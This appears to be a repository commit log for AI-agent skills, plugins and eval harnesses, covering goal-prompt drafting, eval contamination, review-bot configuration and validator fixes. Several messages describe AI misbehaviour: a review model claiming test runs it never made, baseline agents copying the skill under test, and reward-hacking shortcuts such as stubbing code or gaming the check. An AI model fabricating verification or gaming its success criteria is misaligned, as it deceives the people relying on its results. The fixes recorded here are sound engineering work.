- Both filesystem scans skip .venv/node_modules-style directories, after
a stray local .venv (left by this session's own uv probe, and invisible
to CI) turned the path scan red.
Smaller review items: the uv-probe prose says "Phase 4 onward" rather
than a wrong phase range, run_fixtures' comment stops claiming PEP 723
headers its stdlib-only helpers do not have, the yarGen one-liners say
to run from the checkout, `uv tool install` sites note or export the
tool bin dir the way a fresh container needs, and sarif-parsing's table
column says Install / run and stops naming a file that does not exist.
Self-test 71 -> 74. Full scan: 0 findings over 773 files.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com>
|
||
|
Paweł Płatek
|
07bce8a2c8 |
Add goal-prompt plugin for copy-ready /goal commands (#248)
* Add goal-prompt plugin for copy-ready Codex /goal commands Migrated from trailofbits/codex-skills#6, converted from the Codex sidecar layout (.codex-plugin/, .agents/marketplace.json) to this repo's canonical Claude plugin structure, which Codex loads through marketplace compatibility. Both loadability checks pass. The skill drafts a goal-mode objective and pipes it through a deterministic stdlib-only formatter that collapses whitespace to one line and rejects output over the 4,000-character /goal cap, with a pytest suite covering normalization and both failure modes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * Add goal-prompt plugin for copy-ready /goal commands Migrated from trailofbits/codex-skills#6, converted from the Codex sidecar layout (.codex-plugin/, .agents/marketplace.json) to this repo's canonical Claude plugin structure, which Codex loads through marketplace compatibility. Works with goal mode in both Claude Code and Codex; both loadability checks pass. The skill drafts a goal-mode objective and pipes it through a deterministic stdlib-only formatter that collapses whitespace to one line and rejects output over the 4,000-character /goal cap, with a pytest suite covering normalization and both failure modes. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: encode goal-mode limits and termination-contract guidance Researched both harnesses' official docs. Claude Code's /goal condition and Codex's stored objective are each capped at 4,000 characters, and Claude Code's evaluator is a transcript-only small model that cannot run tools — so a condition is judgeable only when the agent runs the check and shows the output. SKILL.md now separates the plugin's two jobs: draft a termination contract (end state not activity, stated check with transcript-visible proof, invariants including never weakening the gate, stop bound or blocked clause, AND not "or"), then format it. Platform mechanics with sources live in references/goal-mode.md. The formatter gains one deterministic non-fatal check: it warns when the objective has no numeric stop bound and no blocked clause, the documented top failure mode for goal loops. Tests cover the new detection both ways. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: fold in Trail of Bits field guidance from codex-config The codex-config README's /goal section adds three things the plugin was missing. The drafting checklist gains the work-order fields it lacked: scope to read first, and for multi-checkpoint goals a final evidence deliverable plus a progress log file for durable state. A when-to-use heuristic (an instruction repeated three turns in a row belongs in the goal; chain small goals rather than one giant one). And a security-research section hardening audit goals against reward hacking: neutral wording, threat-model scoping, demonstrated attacker preconditions, known-findings checks, per-finding human review, and second-pass validation. references/goal-mode.md gains the full work-order template, the codex exec caveat, and the missing official links. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: tighten SKILL.md and README.md Same content, less prose: SKILL.md drops the meta-commentary and keeps the checklist, security hardening, formatter contract, and example; README.md explains the two jobs in two paragraphs for a human reader. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: never invent missing goal elements Every checklist element must be grounded in the user's request, the conversation, or the repository (look up the real check command, don't guess one). When nothing grounds an element, the skill still optimizes and formats what the user provided, but reports the gap in a Missing: list after the fenced block instead of fabricating a success condition that would terminate the goal on the wrong contract. The example now shows both the grounded case and the flag-the-gaps case. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: fold goal-mode reference into SKILL.md The reference file mostly restated the checklist. What survives into SKILL.md: the official doc links, the Codex feature flag and interactive-only caveat, and the Claude Code resume caveat (turn bounds silently extend across resumes), placed next to the stop-bound rule it affects. Everything else was lifecycle and mechanics detail the drafting job does not need. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: close easy-outs, keep goals small Two additions that pull in opposite directions, stated together so neither wins by default. Before formatting, reread the condition as a lazy model would and close the cheapest ways to satisfy the letter without the intent: delete-or-stub, pass-on-a-subset, game-the-gate, claim-without-running. But every constraint narrows the state space the model can explore, so prefer pairing existing checks over adding constraints, collapse to one terminating criterion when possible, and drop non-goals. Outs that cannot be closed from grounded information go in the Missing: list as warnings, never as invented constraints. The security section now leads with the collapsed pattern: one criterion referencing a THREATMODEL.md that carries scope, attacker powers, severity baseline, and known findings. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: strip links and config detail from SKILL.md Skill bodies are for the drafting agent: the doc links, the Codex feature-flag and codex-exec caveats, and the fenced security-goal example added context without changing behavior. The never-invent rule loses its check-command specificity. The security section keeps only what changes the drafted text: one criterion, scoping file, neutral wording, demonstrated preconditions, per-finding review, second-pass validation. The Example section stays — Anthropic's authoring checklist calls for concrete input/output examples, and this skill's output shape is the point. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: replace README wall-of-prose with a capability list Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: set Paweł Płatek as author, trim CODEOWNERS Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: add with/without ablation evals Three cases, each the same bare "Improve this goal: ..." prompt run with and without the plugin so the score delta isolates what the skill adds: grounded-migration (single-line output, check command grounded in the fixture's package.json, stop clause), ungrounded-vague (no invented metrics or benchmark commands when nothing grounds "faster"; gaps flagged back), easy-out-closed (the user's grep-only success check is deletable-code-satisfiable; the goal must pair it with the fixture's real test suite). Graders judge the returned artifact against fixture contents: regex for the mechanical stop clause, LLM graders for grounding, invention, and easy-out closure. Also adds "improve" to the skill's trigger list since the eval prompts (and users) phrase it that way. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: fix eval graders to judge only the /goal line Live ablation runs exposed the grader bug AGENTS.md warns about: the haiku judges failed correct answers because the Missing: list's illustrative examples ("e.g. p95 under 300ms") were read as inventions and as extra command candidates. Graders now scope judgment to the single line inside the fenced block and explicitly exempt the gap list; the README pins --judge-model sonnet since haiku cannot follow that scoping. Measured results (4 runs/arm/case): plugin arm 100% across all graders; bare arm bimodal — the deterministic stop-clause regex alone failed half its grounded-migration runs. On strong models the plugin's demonstrated value is consistency, recorded as such in the README. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: record baseline contamination in eval results Checked our eval logs against trailofbits/skills-internal#546 and we were hit: baseline-arm responses cite the fixture's absolute repo path and reproduce SKILL.md sentences verbatim ("scope to read first", "terminates on the wrong contract"), so the no-plugin arm read the plugin under test off disk and imitated it. Our runs were more exposed than the issue's report — the baseline had full Bash, not just ungated Read/Glob. The README now marks measured deltas as lower bounds, notes the uncontaminated baselines scored 0, and prescribes --keep-temp plus a leakage audit of baseline traces until the harness can deny the baseline Read access to the plugin directory. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * goal-prompt: isolate eval fixtures from the repo, gate on contamination The ablation baseline could read the skill under test: add_dirs handed every agent an absolute path into this repo, one directory walk from SKILL.md and the graders, and baseline responses reproduced SKILL.md sentences verbatim. Contaminated baselines imitate the skill, deflating the delta to near zero. Fixtures are now generated inside the eval's temp scaffold by each case's scaffold.sh (run with --scaffold), so no agent sees a repo path; a kept-temp probe confirmed the scaffold gets its own home/, config/, and cwd/ with zero repo paths in the baseline trace. check_contamination.py fails a run whose baseline responses contain the plugin path, script name, or verbatim SKILL.md phrases, and fails when it has nothing to inspect; its pytest suite proves both directions. Clean rerun: plugin arm 1.00 everywhere; baselines 0.40/0.29/0.25; mean delta +0.69 (was +0.04 contaminated). The checker flags the old contaminated result and passes the new one. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * fix owner * goal-prompt: run scripts through uv, fix the dead contamination marker Two fixes on top of #248. The skill's only operative command was `python3 {baseDir}/scripts/ format_goal_prompt.py`. The modern-python plugin in this same marketplace ships PATH shims that reject a bare `python3 <script>`, so the Format step failed for anyone who has it installed — and #255's narrowing does not help, because a bare script run is exactly what `uv run` replaces and stays intercepted by design. Now `uv run --no-project`, matching the form the Makefile already uses in all four of its invocations. Verified with the shim on PATH: byte-for-byte identical output to the old command run shim-free. Same fix in evals/README.md. The `scope to read first` contamination marker could never fire: SKILL.md writes `**Scope to read first**` and the match was case-sensitive. Every existing test quoted the marker's own lowercase spelling rather than the file's, so 22 tests passed over a dead marker. Matching is now case-folded, the markers are split into path and phrase groups, and two tests guard the recurrence — one asserts every phrase marker is still present in SKILL.md, the other quotes SKILL.md verbatim. Both were mutation-tested: reverting either fix fails exactly one of them. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> Co-authored-by: Dan Guido <dan@trailofbits.com> |
||
|
Daniel McCarney
|
4db56eff30 |
trailmark: update vector-forge skill w/ wycheproof tooling (#251)
* trailmark: update vector-forge skill w/ wycheproof tooling We landed some helpful tooling for adding/editing/replacing vector data upstream in Wycheproof that is helpful for LLMs to know about. This commit updates stale references to the Python based tooling and points to the new `vectorgen` tool/docs. * version 0.10.0 -> 0.10.1 --------- Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> Co-authored-by: Dan Guido <dan@trailofbits.com> |
||
|
Dan Guido
|
488d37c71c |
Collapse the review into one xhigh opus tier, and stop invented evidence (#256)
* Pin the review model, raise effort to xhigh, stop invented evidence Three problems with the automated review, found while auditing what was actually reviewing PRs #253-#255. **The model was never specified.** `claude_review.sh` passed `--effort` but no `--model`, so the reviewer was whatever the CLI happened to default to at run time, and nothing in the logs said which. The CLI version was pinned to stop CI changing without a commit while the larger lever on review quality was left floating. Both tiers now pin `opus`, and the run line records model, effort and resolved CLI version. **The CLI is now deliberately unpinned**, in both this workflow and the loadability check, so they track releases as they ship. For loadability that is the point: the version worth proving plugins load against is the one users run. The logged version is what makes a surprising result attributable after the fact. **The review claimed to run things it cannot run.** Its allowlist is `gh pr` reads plus Read, Grep and Glob — no interpreter, no test runner. Across three PRs it reported a Python snippet it had "verified directly" whose regex cannot compile, a pytest suite it had "run locally" with a pass count that does not match reality, and a shell script three "independent verifiers" had supposedly executed. Every conclusion was correct and every proof was fabricated. The deep prompt already said "you cannot execute anything"; the prompt that actually runs never did. That statement moves into the shared prompt, extended to forbid reporting output no tool produced. Effort goes low -> xhigh on the tier that runs on every push, so the strongest review is the default rather than something to remember to ask for. The shared prompt also now says to rank on consequence rather than diff size, after a one-character fault that made a checker miss its own target was filed as a nit. The `fast` name is kept: it is the check name branch protection matches on, and it describes the trigger rather than the effort. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Collapse the two review tiers into one The split was a cheap pass on every push plus an xhigh adversarial pass behind a `deep-review` label. It did not survive contact: the label was never created, so the deep tier skipped 9 times and ran zero, and every review this repository has ever received came from the cheap tier. With both tiers now on opus at xhigh, the only thing left separating them was scope, and there was no reason to gate the better scope behind a label somebody has to remember to apply. So there is one job. It takes the deep tier's prompt and tools — reads beyond the diff, gets git history, checks the PR's claims against the files — and the cheap tier's `--edit-last` posting, which matters now that it runs on every push. `fast` is gone from the check name, the script's tier argument, and the concurrency key. The name was already inaccurate once effort went to xhigh, and the ruleset on main requires license/cla, Validate, Pre-commit and bats — not this check — so nothing depended on it. The elaborate label-keyed concurrency group goes too; it existed only to stop a push cancelling an in-flight deep review, and there is no second tier to collide with. Timeout follows the deep tier at 30 minutes, since xhigh on a large diff needs the room. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Address the review of this PR The new xhigh reviewer found real problems in its own configuration. **The API key was in the unpinned install step's environment.** It was there only to satisfy `if: env.ANTHROPIC_API_KEY != ''`, since `secrets` is not available in a step-level `if:`. Combined with `@latest`, that runs npm lifecycle scripts from a version nobody chose beside an org-wide credential. Presence is now reduced to a boolean in its own step, and the install step holds no secret at all — which is what makes @latest acceptable there. **The posting guard counted comments it did not write.** It matched any issue comment in the window, so a maintainer replying to the previous review could stand in for a review this run never posted: green check, no review. Measured on this PR's siblings — the old query counts 2 on #253 and #255, the new bot-only query counts 1. Also paginated, since the unfiltered call would miss a review past the first 30 comments. **`AGENTS.md` reaches the reviewer and tells it to run things.** CLAUDE.md is just `@AGENTS.md`, so it loads as project instructions telling the model to run `make check`, run `prek run -a`, and consult a `claude-code-guide` subagent — none of which it can do. That is the fabrication channel this PR exists to close, arriving by a route the prompt did not address. The prompt now names those files and says they are addressed to someone else. **validate.yml goes back to a pinned CLI.** Unpinning it was my extension, not what was asked, and the risk is misplaced: that job is a required check, so an upstream release renaming a field in `plugin list --json` reddens every open PR at once and blocks merges with no commit to explain it. The review job can go red harmlessly. This also re-aligns Codex and Claude, both pinned there again, and keeps dependabot.yml's note about "the pinned npm CLI versions" accurate. Smaller: the prompt described its allowlist as "only `gh pr` reads" while mandating `gh pr comment`, a write, and granting `git log`/`git diff`. And the comment over `MODEL` claimed an attributability the `opus` alias does not provide, since it tracks new Opus releases by design. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Unpin the Claude Code CLI on the loadability check too Reverses the revert two commits back, deliberately and with the argument against it on the record. The review made the case for pinning here: `Validate plugins and skills` is a required check, so a Claude Code release that breaks plugin loading reddens every open PR at once with no commit to explain it. That reading is correct about the mechanics and wrong about which failure costs more. A pin nobody remembers to bump drifts until CI is proving loadability against a version no user runs, which is the one thing this check exists to establish — and it fails silently, by passing. The loud break is the preferable failure, and it is now the chosen one rather than an oversight. Dependabot does not track npm CLIs installed this way, so the real choice was a live version or a stale one, never a maintained one. The Codex CLI beside it stays pinned at 0.146.0. Same class of manual pin and arguably the same argument applies, but unpinning another vendor's CLI was not asked for and would widen this change past its subject. dependabot.yml's note is corrected to match: singular, and naming which one is pinned and why the other is not. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Dan Guido
|
c199e0cc7d |
Narrow the modern-python shims to the commands uv run replaces (#255)
* Narrow the modern-python shims to the commands uv run replaces Closes #207. The shims sit on PATH, so they intercept every subprocess any tool spawns, not just what Claude types. Two of the intercepted invocations were not package management at all, and blocking them broke real tooling. `uv pip` now passes through when it carries --project, --directory or --target. Those say a tool is building an environment it owns, where `uv add` is not the available advice: prek installs every hook with `uv pip install --project / --directory <cache>`, so the refusal made `git commit` fail in any repo whose hooks need a Python environment. A bare `uv pip install requests` is still refused. `python -c`, `python -m <module>` and `python -` now reach the real interpreter. None of them resolves a script against a project's dependencies, which is what `uv run` exists to do, and `uv run python3 -` is not a drop-in replacement inside a pipeline. `python -m pip` stays intercepted, as do bare `python` and `python script.py`. Passing anything through is new for the python shim, which previously ended every branch in exit 1, so it gains the same skip-my-own-dir PATH walk the uv shim already had. That walk now uses parameter expansion rather than basename, because the one case where it must report failure is a PATH holding nothing but the shim, where shelling out to coreutils fails first with a confusing error. Verified by A/B on the two symptoms #207 reports, running each suite against the old shim and the new one: - zeroize-audit's rust-regression smoke test: FAILED at line 72 before, "Rust regression smoke checks passed." after. - prek hook installation from a cold cache: refused before, "check json Passed" after. bats goes from 19 cases to 38. Five python cases inverted rather than being deleted: the ones asserting that -c and -m are refused now assert they run. AGENTS.md's note on `make shell-suites` is corrected rather than removed — the #207 interceptions are gone, but the target still fails because variant-analysis invokes `python3 <script>.py`, which the shim intercepts by design. That one belongs to variant-analysis. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Decide on the mode selector, not on argument position Two gaps in the narrowing, both from review. `uv pip install --help` documents `-t, --target <TARGET>`, so the short form has to be exempt alongside the long one. Without it the same tool-managed install was allowed or refused depending on spelling. The python shim read only $1 to find the mode selector, so `python -u -c 'code'` was refused while `python -c 'code'` ran, even though they are the same invocation. It now steps over interpreter flags to find the selector, giving `-W`, `-X` and `--check-hash-based-pycs` the two slots they take. `-u -m pip` is still refused, and so is `-u script.py`: a script path is what `uv run` replaces regardless of what precedes it. bats 38 -> 43. Both #207 regressions re-verified after the restructure: zeroize-audit's smoke test passes and prek installs hooks from a cold cache. Not fixed here, deliberately: `uv --no-progress pip install requests` still slips past the refusal, because the subcommand check reads $1 as well. Parsing that correctly means knowing which uv global flags take a value, and getting it wrong would refuse a command that works today. The failure mode is a missed nudge rather than a breakage — the real uv runs and behaves correctly — so it does not belong in a change whose purpose is to refuse less. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Dan Guido
|
d537432501 |
Pin the node test reporter in semgrep-rule-variant-creator (#254)
`node_test()` ran `node --test` with no `--test-reporter` and then read `# fail 0` and `# pass N` out of the output. Those are TAP markers, and node's default reporter is not a stable contract: node 22 emits tap when stdout is not a TTY, node 23+ emits spec, which prints `ℹ pass N`. CI pins node 22 so it stayed green, while `make check` failed 28 tests for anyone on a current node. The suites themselves were always fine. Pinning `--test-reporter=tap` fixes it. Confirmed load-bearing by reverting the flag: 28 failed, 54 passed, exactly the reported symptom, and 82 passed with it back. While here, `test_node_suites_pass` asserted `"# fail 0" in output` immediately after `assert code == 0`, which only restates the exit code. Replaced with a floor on the reported pass count, because the failure it could not see is a suite that stopped running its tests and passed anyway. Node makes that case subtle: a file containing no tests still reports `# tests 1 # pass 1`, counting the file itself, so a plain non-zero check would not have caught it either. Verified against a gutted suite, which reports 1 against a floor of 10. Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Dan Guido
|
f3c8d2a73f |
Back three AGENTS.md enforcement claims with validator checks (#253)
* Back three AGENTS.md enforcement claims with validator checks AGENTS.md lists these under "What the validator enforces, so you do not have to", the heading that tells contributors and Claude to skip checking by hand. The validator did not perform any of them. - Hardcoded `/Users/…` and `/home/…` paths: moved out of the CI workflow and into find_hardcoded_paths(), so `make check` and pre-commit cover it too. Python's re has lookbehind natively, which drops the `grep -P` dependency BSD grep cannot satisfy. Same file types, same `*-shim.bats` exemption and `/path/to` and `/home/vscode` placeholders as before, and the scan carries the anti-vacuity guard across: zero files scanned is a hard failure, not a clean result. - Command files: validate_agent_frontmatter() only ever opened agent and skill files, so the "and commands" half of the allowed-tools claim was unbacked. Renamed to validate_tools_frontmatter() now that it covers all three. - subagent_type: the check returned early for a plugin with no agents/ dir and otherwise only flagged a bare name matching that plugin's own agent. It now resolves against a repo-wide agent registry, so a bare name borrowed from another plugin reports that plugin's namespace, and one that names no agent at all is reported as a dispatch that fails at runtime. Also documents three checks the validator already enforced but AGENTS.md never listed: plugin.json name matching the directory, marketplace source and description parity, and dependabot lockfiles. All three flag zero violations against the repo as it stands, verified by planting each defect and confirming the validator rejects it. Self-test goes from 34 assertions to 43, and SELF_TEST_MINIMUM is now the exact count rather than a loose floor. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Catch lowercase home directories in the hardcoded-path check The pattern inherited from the CI step matched `/home/[a-z]` but `/Users/[A-Z]`, so it only caught macOS paths whose account name starts with a capital. Account short names are lowercase by convention, which means the common form went undetected: `/Users/alice/...`, and this repo's own `/Users/user/cc/skills`, all passed clean. The check was missing the thing it exists to find, and my mutation test did not catch that because I happened to plant `/Users/Someone` with a capital S — the one spelling the pattern could see. Both branches now accept either case. Widening turned up exactly one new match across the repo, and it is a false positive: c-review's SKILL.md uses "/Users/me/My Repo" to show that a path containing a space has to stay quoted. That and `/Users/Shared`, a real macOS system directory, join the placeholder list. Self-test goes 43 -> 45: the lowercase path must be caught, and `/Users/Shared` must not be. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
dependabot[bot]
|
2bb398210d |
deps: Bump ruff (#252)
Bumps the python-minor-patch group with 1 update in the /plugins/trailmark/skills/slicing-code-context/scripts directory: [ruff](https://github.com/astral-sh/ruff). Updates `ruff` from 0.16.1 to 0.16.2 - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.1...0.16.2) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.2 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: python-minor-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> |
||
|
kz-tob
|
3e433ffee0 |
Exclude supply-chain eval fixtures from Dependabot scans (#245)
* Exclude supply-chain eval fixtures from Dependabot scans The supply-chain-risk-auditor evals assert on deliberately stale manifests — requests==2.19.0, flask==1.0.2, axios@0.21.0 are the findings the cases expect. A Dependabot bump would leave the cases passing with nothing left to detect. No block scans them today: the uv directories are listed explicitly, and the Cargo.toml and package.json fixtures have no matching ecosystem entry. This guards against a later edit widening that list. Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com> * Update dependabot.yml added the slash * Update dependabot.yml removing slash because dependabot breaks with it --------- Co-authored-by: Claude Opus 5 (1M context) <noreply@anthropic.com> |
||
|
Dan Guido
|
a551f0b5f7 |
Revise links in README 'Also see' section
Updated the 'Also see' section with new links. |
||
|
Graham Sutherland
|
04b241176f |
Rework property-based-testing skill and add eval suites. (#235)
* Rework property-based-testing skill and add eval suites. * Fix shellcheck SC2015 and exclude eval fixtures from CI pytest * Run eval self-tests under uv so `make check` survives the python3 shim `eval-self-tests` discovers harnesses repo-wide, and all three it finds today pipe a script to `python3`: property-based-testing's run.sh and effectiveness.sh, and writing-lean-proofs' run.sh. On any machine with the modern-python plugin installed, its `python3` shim rejects those calls and `make check` fails for reasons that have nothing to do with the code under test. That is the trap #207 documents, and the reason `shell-suites` is deliberately kept out of `check`. Excluding a second target is the wrong answer here — these self-tests are free and they are what makes an eval result trustworthy — so run them under `uv run --no-project`, which puts a real interpreter ahead of the shim on PATH. Harnesses should still call uv themselves. The wrapper only applies inside `make check`, and the real sweeps are invoked by hand. * Move evals-extra out of the skill directory to the plugin root `evals/` already sits at the plugin root; `evals-extra/` sat inside `skills/property-based-testing/`, so every user of the plugin shipped 900 lines of bash, a `requirements.txt` naming hypothesis, and a fixture whose tests are broken on purpose — inside the one directory the model reads guidance from. run.sh's own header notes the hazard of the model finding skill files by filesystem exploration; this removes the material it would find. Nothing in the machinery cares which of the two locations it is in: the Makefile, the CI pytest exclusion, ruff's per-file ignores and the plugin validator all match on an `evals*` prefix anywhere under `plugins/`. Verified by running eval-self-tests and validate from the new layout. `plugin_root` in both harnesses walks up one directory now instead of three. * Re-execute run.sh by path in its own self-test instead of $0 The four end-to-end assertions run the whole sweep in a subprocess by invoking `"$0"`. That is only a runnable command when the caller passed a path with a slash in it: `bash run.sh --self-test` from this directory sets `$0` to `run.sh`, which is not on PATH, so all four exited 127 while the eleven unit assertions passed. It worked by accident because the Makefile and the README both happen to pass a path. Use `$here/run.sh`, which is invocation-independent. * Report a detector that could not run as a failure, not as a non-trigger `skill_invoked` returned an exit status, and both "the model did not call the skill" and "python3 blew up" came back as 1. `check_triggered` then fell through its ladder to `no` — the one verdict the aggregator treats as a measurement. So a broken interpreter did not fail the sweep; it scored every positive session as a clean negative, and 45 sessions and $36 came back looking like a recall regression. This is not hypothetical. The modern-python plugin's `python3` shim rejects the call (#207), which is how it was found: the self-test's "skill invoked -> yes" case returned `no`. The verdict is now a printed token — `yes`, `no`, or `error:<detail>` — because an exit status cannot carry the distinction: 1 is both python3's own failure status and the detector's "not found". A healthy session whose detector failed lands in a new `crash:detector` branch, which invalidates the sweep like any other failed session and puts the interpreter's message in the NOTE column. Every python3 call in the script goes through `uv run --no-project` for the same reason, so the harness also runs correctly by hand under the shim rather than only under `make check`. That adds a uv dependency, guarded at startup alongside the existing claude CLI check. Pinned by a new assertion that points the detector at a nonexistent interpreter and asserts `crash:detector`, not `no`. 16 assertions, was 15. * Refuse to grade an effectiveness run whose patch never applied `grade()` diffs the failing tests before and after replacing canonicalize_url with an identity stub. It called `patch_codec` and never checked the result, on the assumption that `set -e` would abort — but errexit does not propagate out of a function into the command substitution `got="$(grade "$d")"` runs in. So a failed patch left the "after" suite running against the UNPATCHED fixture: before and after come out identical, nothing moves, and a suite that genuinely caught the defect is written down as `part` — "suite fails, but not on this defect". That also silently disarmed the drift guard inside patch_codec, whose entire job is to refuse to grade in exactly this situation. Its message went to stderr and the grade continued. A failed patch is now ERR, and the fixture is restored from the backup on that path. patch_codec goes through `uv run --no-project` like the rest of the repo, so the shim (#207) is not what triggers it either. Pinned by a new assertion that hands the grader a fixture with no canonicalize_url to replace and asserts ERR rather than a grade. 4 assertions, was 3. * Refuse a multi-level effort sweep while SKILL.md pins `effort:` A skill's `effort:` frontmatter overrides the session level, so the `--effort` that effectiveness.sh passes each session is ignored the moment the skill loads. SKILL.md pins `effort: low`, so the default `EFFORTS="low medium high"` ran three sessions at `low` and printed the level each one *asked* for in the EFFORT column. Nothing in the output gives that away. Three rows agreeing is also what a healthy sweep looks like when effort genuinely does not matter, which is the conclusion the table invites — and the conclusion that keeps the pin at `low` forever. It is the same shape as the failures this suite already guards against: a checker that has quietly stopped varying its independent variable reports a clean result. It also means the recorded sweep cannot be reproduced against the plugin as shipped. Either that sweep predates the pin, or it was already this artefact; there is no third reading. That matters because re-running an effort sweep is what AGENTS.md asks for whenever the model changes, and this is the check that would have been re-run. Requesting the pinned level alone is still allowed — that scores the shipped configuration and the label is true. NOPLUGIN loads no skill, so nothing overrides and a sweep there is honest. Anything else with a pin present exits 2 and names both ways forward. The `q` in the sed matters: a second `effort:` line anywhere in the file, a fenced YAML example say, would otherwise make `$pinned` multi-line and refuse even a correct `EFFORTS=low`. Both READMEs documented a bare `./evals-extra/effectiveness.sh`, which now exits 2, so they move to `EFFORTS=low` here rather than in a follow-up that would leave the docs describing a failing command in between. Known cost, not fixed here: `EFFORTS=low` is one session, where the broken sweep at least sampled the same configuration three times. run.sh:20-22 rejects n=1 for the sibling metric on the grounds that invocation is stochastic. Fixing it means a repetition knob or a different default — a change to how the eval samples rather than to what it reports, so it is left to the author. Pinned by two new assertions: a pinned skill refuses `low medium high`, and allows `low`. 6 assertions, was 4. * Check for the claude CLI below run.sh's --self-test dispatch, not above it The preflight sat at the top of the script, so it ran before the `--self-test` branch and the self-test exited 2 on any machine without Claude Code installed, having run zero of its sixteen assertions: $ env PATH=/usr/bin:/bin bash run.sh --self-test claude CLI not found: claude `claude_bin` is only swapped for the stub inside `self_test()` itself, which is far too late to matter. So the guarantee in the comment above that function — "uses a stub binary, so it costs nothing and can run in CI" — was false, and `make eval-self-tests`, and therefore `make check`, broke for any contributor without the CLI. AGENTS.md draws exactly this line for the two loadability checks: they run in CI rather than in `make check` precisely because needing the Claude Code CLI is not a reasonable local prerequisite. A self-test that claims to be free must not smuggle that requirement back in. The uv check stays above the dispatch, because the self-test genuinely needs it: the detectors run through `uv run --no-project python3`, and uv is already a prerequisite everywhere else in the repo. effectiveness.sh had this split right and was the template. Verified with `claude` absent from PATH and uv plus GNU coreutils present: all 17 assertions pass. With neither present it now stops on uv, which is the honest dependency rather than a borrowed one. Worth knowing and not fixed here: `timeout(1)` is still an undeclared dependency of both a real sweep and the self-test, and it does not exist on a stock macOS PATH. Absent, the child-sweep assertions fail with 127. CI is Linux so it is covered there, and the bash-3.2 accommodation at the end of the self-test suggests stock macOS is meant to work, so it wants either a preflight alongside uv or a documented prerequisite. Pinned by a new assertion that runs a real sweep with a nonexistent CLAUDE_BIN and asserts exit 2. The risk on the next edit is the check being deleted rather than moved, which would turn a typo'd CLAUDE_BIN into 45 crash:rc127 sessions instead of an immediate refusal. 17 assertions, was 16. * Fix sed issue on BSD * Restore refactoring.md --------- Co-authored-by: kz-tob <kara.zaffarano@trailofbits.com> Co-authored-by: Emilio López <emilio.lopez@trailofbits.com> |
||
|
dependabot[bot]
|
4db88ee79d |
deps: Bump ruff (#246)
Bumps the python-minor-patch group with 1 update in the /plugins/trailmark/skills/slicing-code-context/scripts directory: [ruff](https://github.com/astral-sh/ruff). Updates `ruff` from 0.16.0 to 0.16.1 - [Release notes](https://github.com/astral-sh/ruff/releases) - [Changelog](https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md) - [Commits](https://github.com/astral-sh/ruff/compare/0.16.0...0.16.1) --- updated-dependencies: - dependency-name: ruff dependency-version: 0.16.1 dependency-type: direct:development update-type: version-update:semver-patch dependency-group: python-minor-patch ... Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: Scott Arciszewski <147527775+tob-scott-a@users.noreply.github.com> |
||
|
Paweł Płatek
|
cfea213cce |
skill-improver: remove the trash dependency and the duplicate command surface (#249)
* skill-improver: remove the trash dependency and the duplicate command surface Fixes two issues: - #244: hooks/stop-hook.sh and scripts/cancel-skill-improver.sh called `trash`, which is absent on stock Linux; under `set -e` the stop hook died before removing the state file even when the completion marker was detected, so the loop could never terminate, and the cancel escape hatch failed too. lib.sh now provides remove_state_file(), preferring trash and falling back to rm -f. The helper is not named `trash` because `command -v` resolves shell functions, so a same-named wrapper would always take the trash branch and still die. A hermetic regression suite runs both scripts on a stub PATH without trash; it fails 5/8 assertions on the old code. - #199: commands/skill-improver.md and skills/skill-improver/SKILL.md both registered as skill-improver:skill-improver, listing twice in the model-facing skill index. Commands are the legacy surface since the commands/skills unification, so the command's path-resolution and setup steps moved into SKILL.md (argument-hint, scoped Bash rule for the setup script) and the command file is gone. Invocation stays /skill-improver. SKILL.md now also tells the model to skip setup on stop-hook continuation prompts so a mid-loop re-trigger cannot start a second parallel session. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> * pr-review done * rm regression test --------- Co-authored-by: Claude Fable 5 <noreply@anthropic.com> |